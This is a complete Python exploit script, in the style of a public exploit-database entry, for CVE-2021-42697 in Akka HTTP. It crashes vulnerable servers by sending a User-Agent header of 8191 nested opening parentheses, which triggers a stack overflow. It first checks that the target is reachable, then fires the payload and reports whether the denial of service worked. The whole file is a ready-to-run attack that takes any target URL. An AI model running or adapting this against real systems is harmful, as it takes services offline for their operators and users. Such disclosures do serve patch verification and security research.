# Exploit Title: Akka HTTP Denial of Service via Nested Header Comments
# Date: 18/4/2022
# Exploit Author: cxosmo
# Vendor Homepage: https://akka.io
# Software Link: https://github.com/akka/akka-http
# Version: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7
# Tested on: Akka HTTP 10.2.4, Ubuntu
# CVE : CVE-2021-42697

import argparse
import logging
import requests

# Logging config
logging.basicConfig(level=logging.INFO, format="")
log = logging.getLogger()

def send_benign_request(url, verify=True):
    log.info(f"Sending benign request to {url} for checking reachability...")
    try:
        r = requests.get(url)
        log.info(f"Benign request returned following status code: {r.status_code}")
        return True
    except Exception as e:
        log.info(f"The following exception was encountered: {e}")
        return False

def send_malicious_request(url, verify=True):
    log.info(f"Sending malicious request to {url}")
    # Akka has default HTTP header limit of 8192; 8191 sufficient to trigger stack overflow per 10.2.4 testing
    nested_comment_payload = "("*8191
    headers = {'User-Agent': nested_comment_payload}
    try:
        r = requests.get(url, headers=headers)
        log.info(f"Request returned following status code: {r.status_code}")
    # Expected exception to be returned if server is DoSed successfully
    except requests.exceptions.RequestException as e:
        if "Remote end closed connection without response" in str(e):
            log.info(f"The server is unresponsive per {e}: DoS likely successful")
    except Exception as e:
        log.info(f"The following exception was encountered: {e}")

if __name__ == "__main__":
    # Parse command line
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
    required_arguments = parser.add_argument_group('required arguments')
    required_arguments.add_argument("-t", "--target",
                        help="Target URL for vulnerable Akka server (e.g. https://localhost)",
                        required="True", action="store")
    parser.add_argument("-k", "--insecure",
                        help="Disable verification of SSL/TLS certificate",
                        action="store_false", default=True)
    args = parser.parse_args()

    # Send requests: first is connectivity check, second is DoS attempt
    if send_benign_request(args.target, args.insecure):
        send_malicious_request(args.target, args.insecure)